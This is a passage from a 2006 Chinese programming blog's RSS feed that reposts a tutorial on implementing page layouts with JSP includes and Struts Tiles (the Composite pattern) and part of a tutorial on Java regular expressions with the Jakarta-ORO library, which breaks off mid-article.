                        Thanks for stopping by!
                     &lt;/td&gt;
                  &lt;/tr&gt;
               &lt;/table&gt;
            &lt;/td&gt;
         &lt;/tr&gt;
      &lt;/table&gt;
   &lt;/body&gt;
&lt;/html&gt;</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br />然后你需要实现JSP。根据代码5编写出的JSP代码有两个缺点。第一，页面的内容被嵌入了JSP代码中，因此开发人员无法重用它。而事实上，边栏、头和角注在一个网站的网页中可能会被多次重用。第二，页面的布局也被嵌入到JSP代码中，因此即使有很多网也采用同样的布局，开发人员也无法重用它。通过使用<jsp:include> 可以避免第一个问题。<br /><br /><b>2．使用<ccid_code> &lt;jsp:include&gt;</ccid_code> 实现布局</b><br /><br />在下面的例子中，我们使用<ccid_code> &lt;jsp:include&gt;</ccid_code> 来实现图3中的网页。<br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="550" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" bgcolor="#e6e6e6"><pre><ccid_code>
代码6 用jsp:include实现布局
&lt;%@ page contentType='text/html; charset=UTF-8' %&gt;
&lt;html&gt;
   &lt;head&gt;
      &lt;title&gt;Implementing Complex Layouts by Hand&lt;/title&gt;
   &lt;/head&gt;
   &lt;body background='graphics/blueAndWhiteBackground.gif'&gt;
      &lt;%-- One table lays out all of the content for this page --%&gt;
      &lt;table width='100%' height='100%'&gt;
         &lt;tr&gt;
            &lt;%-- Sidebar section --%&gt;
            &lt;td width='150' valign='top' align='left'&gt;
               &lt;jsp:include page='sidebar.jsp'/&gt;
            &lt;/td&gt;
            &lt;%-- Main content section --%&gt;
            &lt;td height='100%' width='*'&gt;
               &lt;table width='100%' height='100%'&gt;
                  &lt;tr&gt;
                     &lt;%-- Header section --%&gt;
                     &lt;td valign='top' height='15%'&gt;
                        &lt;jsp:include page='header.jsp'/&gt;
                     &lt;/td&gt;
                  &lt;tr&gt;
                  &lt;tr&gt;
                     &lt;%-- Content section --%&gt;
                     &lt;td valign='top' height='*'&gt;
                        &lt;jsp:include page='content.jsp'/&gt;
                     &lt;/td&gt;
                  &lt;/tr&gt;
                  &lt;tr&gt;
                     &lt;%-- Footer section --%&gt;
                     &lt;td valign='bottom' height='15%'&gt;
                        &lt;jsp:include page='footer.jsp'/&gt;
                     &lt;/td&gt;
                  &lt;/tr&gt;
               &lt;/table&gt;
            &lt;/td&gt;
         &lt;/tr&gt;
      &lt;/table&gt;
   &lt;/body&gt;
&lt;/html&gt;</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br />在上面的代码中，通过使用<ccid_code> &lt;jsp:include&gt;</ccid_code> 来调用其它JSP。由于在sidebar.jsp、header.jsp、content.jsp、和footer.jsp中封装了边栏、头、内容和角注，因此开发人员可以重用这些元素。但是这种解决方案仍然无法重用网页的布局。下面是sidebar.jsp、header.jsp、content.jsp、和footer.jsp的代码：<br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="550" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" bgcolor="#e6e6e6"><pre><ccid_code>
代码7 sidebar.jsp
&lt;%@ page contentType='text/html; charset=UTF-8' %&gt;
&lt;table width='100%'&gt;
   &lt;tr&gt;
      &lt;%-- Sidebar top component --%&gt;
      &lt;td width='150' height='65' valign='top' align='left'&gt;
        &lt;a href=''&gt;&lt;img src='graphics/flags/britain_flag.gif'/&gt;&lt;/a&gt;
        &lt;a href=''&gt;&lt;img src='graphics/flags/german_flag.gif'/&gt;&lt;/a&gt;
        &lt;a href=''&gt;&lt;img src='graphics/flags/chinese_flag.gif'/&gt;&lt;/a&gt;
      &lt;/td&gt;
   &lt;/tr&gt;
   &lt;tr&gt;
      &lt;%-- Sidebar bottom component --%&gt;
      &lt;td&gt;
         &lt;table&gt;
            &lt;tr&gt;
               &lt;td&gt;
                  &lt;font size='5'&gt;Links&lt;/font&gt;&lt;p&gt;
                  &lt;a href=''&gt;Home&lt;/a&gt;&lt;br&gt;
                  &lt;a href=''&gt;Products&lt;/a&gt;&lt;br&gt;
                  &lt;a href=''&gt;Downloads&lt;/a&gt;&lt;br&gt;
                  &lt;a href=''&gt;White papers&lt;/a&gt;&lt;br&gt;
                  &lt;a href=''&gt;Contact us&lt;/a&gt;&lt;br&gt;
               &lt;/td&gt;
            &lt;/tr&gt;
         &lt;/table&gt;
      &lt;/td&gt;
   &lt;/tr&gt;
&lt;/table&gt;</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="550" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" bgcolor="#e6e6e6"><pre><ccid_code>
代码8 header.jsp
&lt;font size='6'&gt;Welcome to Sabreware, Inc.&lt;/font&gt;
&lt;hr&gt;
代码9 content.jsp
&lt;font size='4'&gt;Page-specific content goes here&lt;/font&gt;
代码10 footer.jsp
&lt;hr&gt;
Thanks for stopping by!</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br /><b>3．利用Structs Tiles来实现布局</b><br /><br />代码10中展示了如何用Struts Tiles来实现前面提到的网页。这段代码利用了<ccid_code> &lt;titles:insert&gt;</ccid_code> 标签来创建图3中对应的JSP网页。该JSP文件被定义在名称为sidebar-header-footer-definition的Tiles定义中，定义信息保存在Tiles的配置文件中，在这个例子中，配置文件是WEB-INF/tlds/struts-tiles.tld。代码11列出了该文件。<br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="550" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" bgcolor="#e6e6e6"><pre><ccid_code>
代码10 使用Struts Tiles来封装布局信息
&lt;%@ page contentType='text/html; charset=UTF-8' %&gt;
&lt;%@ taglib uri='WEB-INF/tlds/struts-tiles.tld' prefix='tiles' %&gt;
&lt;tiles:insert definition='sidebar-header-footer-definition'/&gt;
代码11 struts-tiles.tld
&lt;!DOCTYPE tiles-definitions PUBLIC
  "-//Apache Software Foundation//DTD Tiles Configuration//EN"
  "http://jakarta.apache.org/struts/dtds/tiles-config.dtd"&gt;
&lt;tiles-definitions&gt;
   &lt;definition  name='sidebar-header-footer-definition' 
                path='header-footer-sidebar-layout.jsp'&gt;
      &lt;put name='sidebar' value='sidebar.jsp'/&gt;
      &lt;put name='header'  value='header.jsp'/&gt;   
      &lt;put name='content' value='content.jsp'/&gt;   
      &lt;put name='footer'  value='footer.jsp'/&gt;   
   &lt;/definition&gt;
&lt;/tiles-definitions&gt;</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br />在struts-tiles.tld中可以看到，网页的布局被封装在header-footer-sidebar-layout.jsp中，而网页的内容被封装在sidebar.jsp， header.jsp， content.jsp和footer.jsp中（参见代码7到代码10）。代码12列出了封装了网页布局的JSP。<br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="550" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" bgcolor="#e6e6e6"><pre><ccid_code>
代码12 header-footer-sidebar-layout.jsp
&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"&gt;
&lt;%@ page contentType='text/html; charset=UTF-8' %&gt;
&lt;html&gt;
   &lt;head&gt;
      &lt;title&gt;Struts Tiles implements the Composite pattern&lt;/title&gt;
   &lt;/head&gt;
   &lt;body background='graphics/blueAndWhiteBackground.gif'&gt;
      &lt;%@ taglib uri='/WEB-INF/tlds/struts-tiles.tld' 
              prefix='tiles'%&gt;
      &lt;%-- One table lays out all of the content --%&gt;
      &lt;table width='100%' height='100%'&gt;
         &lt;%-- Sidebar section --%&gt;
         &lt;tr&gt;
            &lt;td width='150' valign='top' align='left'&gt;
               &lt;tiles:insert attribute='sidebar'/&gt;
            &lt;/td&gt;
            &lt;%-- Main content section --%&gt;
            &lt;td valign='top' height='100%' width='*'&gt;
               &lt;table width='100%' height='100%'&gt;
                  &lt;tr&gt;
                     &lt;%-- Header section --%&gt;
                     &lt;td height='15%'&gt;
                        &lt;tiles:insert attribute='header'/&gt;
                     &lt;/td&gt;
                  &lt;tr&gt;
                  &lt;tr&gt;
                     &lt;%-- Content section --%&gt;
                     &lt;td valign='top' height='*'&gt;
                        &lt;tiles:insert attribute='content'/&gt;
                     &lt;/td&gt;
                  &lt;/tr&gt;
                  &lt;tr&gt;
                     &lt;%-- Footer section --%&gt;
                     &lt;td valign='bottom' height='15%'&gt;
                        &lt;tiles:insert attribute='footer'/&gt;
                     &lt;/td&gt;
                  &lt;/tr&gt;
               &lt;/table&gt;
            &lt;/td&gt;
         &lt;/tr&gt;
      &lt;/table&gt;
   &lt;/body&gt;
&lt;/html&gt;</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br />如果你希望改变网页的内容，你可以定义另外一个Tile（如代码13、14），更改其中与内容相关的部分，但是保留网页原有的布局，这样重用布局和重用内容的问题都解决了。<br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="550" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" bgcolor="#e6e6e6"><pre><ccid_code>
代码13 另一个Tile的定义
&lt;tiles-definitions&gt;
   &lt;definition  name='a-different-sidebar-header-footer-definition' 
                path='header-footer-sidebar-layout.jsp'&gt;
      &lt;put name='sidebar' value='sidebar.jsp'/&gt;
      &lt;put name='header'  value='header.jsp'/&gt;   
      &lt;put name='content' value='someOtherContent.jsp'/&gt;   
      &lt;put name='footer'  value='footer.jsp'/&gt;   
   &lt;/definition&gt;
&lt;/tiles-definitions&gt;</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br />然后在<ccid_code> &lt;tiles:insert&gt;</ccid_code> 标签中使用新定义的Tile，如代码14所示<br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="550" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" bgcolor="#e6e6e6"><pre><ccid_code>
代码14 使用新定义的Tiles
&lt;%@ page contentType='text/html; charset=UTF-8' %&gt;
&lt;%@ taglib uri='WEB-INF/tlds/struts-tiles.tld' prefix='tiles' %&gt;
&lt;tiles:insert definition='a-different-sidebar-header-footer-definition'/&gt;</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br /><center><font color="#000099"><strong>在Struts Tiles中使用复合模式</strong></font></center><br /><br />Struct Tiles实现了复合模式，在Struct Tiles中，JSP就是图1和图2中提到的Component类，而Tiles的定义代表了Composite类。这使开发人员能够指定一个JSP文件或一个Tiles定义作为JSP页面上某个区域中的内容。代码15展示了这个功能：<br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="550" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" bgcolor="#e6e6e6"><pre><ccid_code>
代码15在Struts Tiles中使用复合模式
&lt;!DOCTYPE tiles-definitions PUBLIC
  "-//Apache Software Foundation//DTD Tiles Configuration//EN"
  "http://jakarta.apache.org/struts/dtds/tiles-config.dtd"&gt;
&lt;tiles-definitions&gt;
   &lt;definition  name='sidebar-definition' 
                path='sidebar-layout.jsp'&gt;
      &lt;put name='top'    value='flags.jsp'/&gt;
      &lt;put name='bottom' value='sidebar-links.jsp'/&gt;
   &lt;/definition&gt;
   &lt;definition  name='sidebar-header-footer-definition' 
                path='header-footer-sidebar-layout.jsp'&gt;
      &lt;put name='sidebar' value='sidebar-definition'
           type='definition'/&gt;
      &lt;put name='header'  value='header.jsp'/&gt;
      &lt;put name='content' value='content.jsp'/&gt;
      &lt;put name='footer'  value='footer.jsp'/&gt;
   &lt;/definition&gt;
&lt;/tiles-definitions&gt;</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br />在上面的代码中定义了两个Tile：sidebar-definition和sidebar-header-footer-definition。sidebar-definition被指定为sidebar-header-footer-definition中Value属性的值。这是一个很典型的复合模式的应用。在前面的一些例子中，Value属性的值通常是一个JSP文件，而在这里，Value属性的值是另一个Tile的定义。<br /><br /><center><font color="#000099"><strong>小结</strong></font></center><br /><br />复合模式在与界面相关的设计中被经常使用到，最明显的例子就是Swing和Struts。由于它能够使你以同样的方式对待部件和包含部件的容器，因此在某些情况下可以大大提高代码的可重用度，提高开发的效率<br /></jsp:include></span>
												</p>
										</td>
								</tr>
						</tbody>
				</table>
		</div>
<img src ="http://www.cnitblog.com/weitom1982/aggbug/8425.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2006-03-31 13:54 <a href="http://www.cnitblog.com/weitom1982/archive/2006/03/31/8425.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>【转】车东：Java正则表达式详解 </title><link>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8424.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Fri, 31 Mar 2006 05:53:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8424.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/8424.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8424.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/8424.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/8424.html</trackback:ping><description><![CDATA[
		<div class="postTitle">
				<font color="#002c99">
				</font> </div>
		<div class="postText">
				<div class="postText">
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">如果你曾经用过Perl或任何其他内建正则表达式支持的语言，你一定知道用正则表达式处理文本和匹配模式是多么简单。如果你不熟悉这个术语，那么“正则表达式”（Regular Expression）就是一个字符构成的串，它定义了一个用来搜索匹配字符串的模式。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">许多语言，包括Perl、PHP、Python、JavaScript和JScript，都支持用正则表达式处理文本，一些文本编辑器用正则表达式实现高级“搜索-替换”功能。那么Java又怎样呢？本文写作时，一个包含了用正则表达式进行文本处理的Java规范需求（Specification Request）已经得到认可，你可以期待在JDK的下一版本中看到它。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">然而，如果现在就需要使用正则表达式，又该怎么办呢？你可以从Apache.org下载源代码开放的Jakarta-ORO库。本文接下来的内容先简要地介绍正则表达式的入门知识，然后以Jakarta-ORO API为例介绍如何使用正则表达式。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<b>
																		<font size="4">一、正则表达式基础知识</font>
																</b>
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">我们先从简单的开始。假设你要搜索一个包含字符“cat”的字符串，搜索用的正则表达式就是“cat”。如果搜索对大小写不敏感，单词“catalog”、“Catherine”、“sophisticated”都可以匹配。也就是说： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_a.jpg" border="0" />
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<b>1.1 句点符号</b>
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">假设你在玩英文拼字游戏，想要找出三个字母的单词，而且这些单词必须以“t”字母开头，以“n”字母结束。另外，假设有一本英文字典，你可以用正则表达式搜索它的全部内容。要构造出这个正则表达式，你可以使用一个通配符——句点符号“.”。这样，完整的表达式就是“t.n”，它匹配“tan”、“ten”、“tin”和“ton”，还匹配“t#n”、“tpn”甚至“t n”，还有其他许多无意义的组合。这是因为句点符号匹配所有字符，包括空格、Tab字符甚至换行符： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_b.jpg" border="0" />
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<b>1.2 方括号符号</b>
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">为了解决句点符号匹配范围过于广泛这一问题，你可以在方括号（“[]”）里面指定看来有意义的字符。此时，只有方括号里面指定的字符才参与匹配。也就是说，正则表达式“t[aeio]n”只匹配“tan”、“Ten”、“tin”和“ton”。但“Toon”不匹配，因为在方括号之内你只能匹配单个字符： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_c.jpg" border="0" />
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<b>1.3 “或”符号</b>
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">如果除了上面匹配的所有单词之外，你还想要匹配“toon”，那么，你可以使用“|”操作符。“|”操作符的基本意义就是“或”运算。要匹配“toon”，使用“t(a|e|i|o|oo)n”正则表达式。这里不能使用方扩号，因为方括号只允许匹配单个字符；这里必须使用圆括号“()”。圆括号还可以用来分组，具体请参见后面介绍。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_d.jpg" border="0" />
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<b>1.4 表示匹配次数的符号</b>
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">表一显示了表示匹配次数的符号，这些符号用来确定紧靠该符号左边的符号出现的次数： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">
																		<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4n.jpg" border="0" />
																</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">假设我们要在文本文件中搜索美国的社会安全号码。这个号码的格式是999-99-9999。用来匹配它的正则表达式如图一所示。在正则表达式中，连字符（“-”）有着特殊的意义，它表示一个范围，比如从0到9。因此，匹配社会安全号码中的连字符号时，它的前面要加上一个转义字符“\”。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">
																		<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4a.gif" border="0" />
																</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">图一：匹配所有123-12-1234形式的社会安全号码</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">假设进行搜索的时候，你希望连字符号可以出现，也可以不出现——即，999-99-9999和999999999都属于正确的格式。这时，你可以在连字符号后面加上“？”数量限定符号，如图二所示： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">
																		<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4b.gif" border="0" />
																</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">图二：匹配所有123-12-1234和123121234形式的社会安全号码</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">下面我们再来看另外一个例子。美国汽车牌照的一种格式是四个数字加上二个字母。它的正则表达式前面是数字部分“[0-9]{4}”，再加上字母部分“[A-Z]{2}”。图三显示了完整的正则表达式。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">
																		<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4c.gif" border="0" />
																</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">图三：匹配典型的美国汽车牌照号码，如8836KV</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">1.5 “否”符号 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">“^”符号称为“否”符号。如果用在方括号内，“^”表示不想要匹配的字符。例如，图四的正则表达式匹配所有单词，但以“X”字母开头的单词除外。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">
																		<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4d.gif" border="0" />
																</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">图四：匹配所有单词，但“X”开头的除外</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">1.6 圆括号和空白符号 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">假设要从格式为“June 26, 1951”的生日日期中提取出月份部分，用来匹配该日期的正则表达式可以如图五所示： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">
																		<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4e.gif" border="0" />
																</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">图五：匹配所有Moth DD,YYYY格式的日期</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">新出现的“\s”符号是空白符号，匹配所有的空白字符，包括Tab字符。如果字符串正确匹配，接下来如何提取出月份部分呢？只需在月份周围加上一个圆括号创建一个组，然后用ORO API（本文后面详细讨论）提取出它的值。修改后的正则表达式如图六所示： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">
																		<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4f.gif" border="0" />
																</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">图六：匹配所有Month DD,YYYY格式的日期，定义月份值为第一个组</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<b>1.7 其它符号</b>
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">为简便起见，你可以使用一些为常见正则表达式创建的快捷符号。如表二所示： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">表二：常用符号 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">
																		<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4o.jpg" border="0" />
																</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">例如，在前面社会安全号码的例子中，所有出现“[0-9]”的地方我们都可以使用“\d”。修改后的正则表达式如图七所示： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">
																		<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4g.gif" border="0" />
																</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<p align="center">
																<font color="#a52a2a">图七：匹配所有123-12-1234格式的社会安全号码</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<b>
																		<font size="4">二、Jakarta-ORO库</font>
																</b>
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">有许多源代码开放的正则表达式库可供Java程序员使用，而且它们中的许多支持Perl 5兼容的正则表达式语法。我在这里选用的是Jakarta-ORO正则表达式库，它是最全面的正则表达式API之一，而且它与Perl 5正则表达式完全兼容。另外，它也是优化得最好的API之一。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">Jakarta-ORO库以前叫做OROMatcher，Daniel Savarese大方地把它赠送给了Jakarta Project。你可以按照本文最后参考资源的说明下载它。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">我首先将简要介绍使用Jakarta-ORO库时你必须创建和访问的对象，然后介绍如何使用Jakarta-ORO API。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<b>▲ PatternCompiler对象</b>
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">首先，创建一个Perl5Compiler类的实例，并把它赋值给PatternCompiler接口对象。Perl5Compiler是PatternCompiler接口的一个实现，允许你把正则表达式编译成用来匹配的Pattern对象。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_e.jpg" border="0" />
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<b>▲ Pattern对象</b>
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">要把正则表达式编译成Pattern对象，调用compiler对象的compile()方法，并在调用参数中指定正则表达式。例如，你可以按照下面这种方式编译正则表达式“t[aeio]n”： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_f.jpg" border="0" />
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">默认情况下，编译器创建一个大小写敏感的模式（pattern）。因此，上面代码编译得到的模式只匹配“tin”、“tan”、 “ten”和“ton”，但不匹配“Tin”和“taN”。要创建一个大小写不敏感的模式，你应该在调用编译器的时候指定一个额外的参数： </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_g.jpg" border="0" />
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">创建好Pattern对象之后，你就可以通过PatternMatcher类用该Pattern对象进行模式匹配。 </font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">
																<b>▲ PatternMatcher对象</b>
														</font>
												</td>
										</tr>
								</tbody>
						</table>
						<table width="620" align="center">
								<tbody>
										<tr>
												<td class="a14">
														<font color="#a52a2a">PatternMatcher对象根据Pattern对象和字符串进行匹配检查。你要实例化一个Perl5Matcher类并把结果赋值给PatternMatcher接口。Perl5Matcher类是PatternMatcher接口的一个实现，它根据Perl 5正则表达式语法进行模式匹配： </font>
												</td>
										</tr>
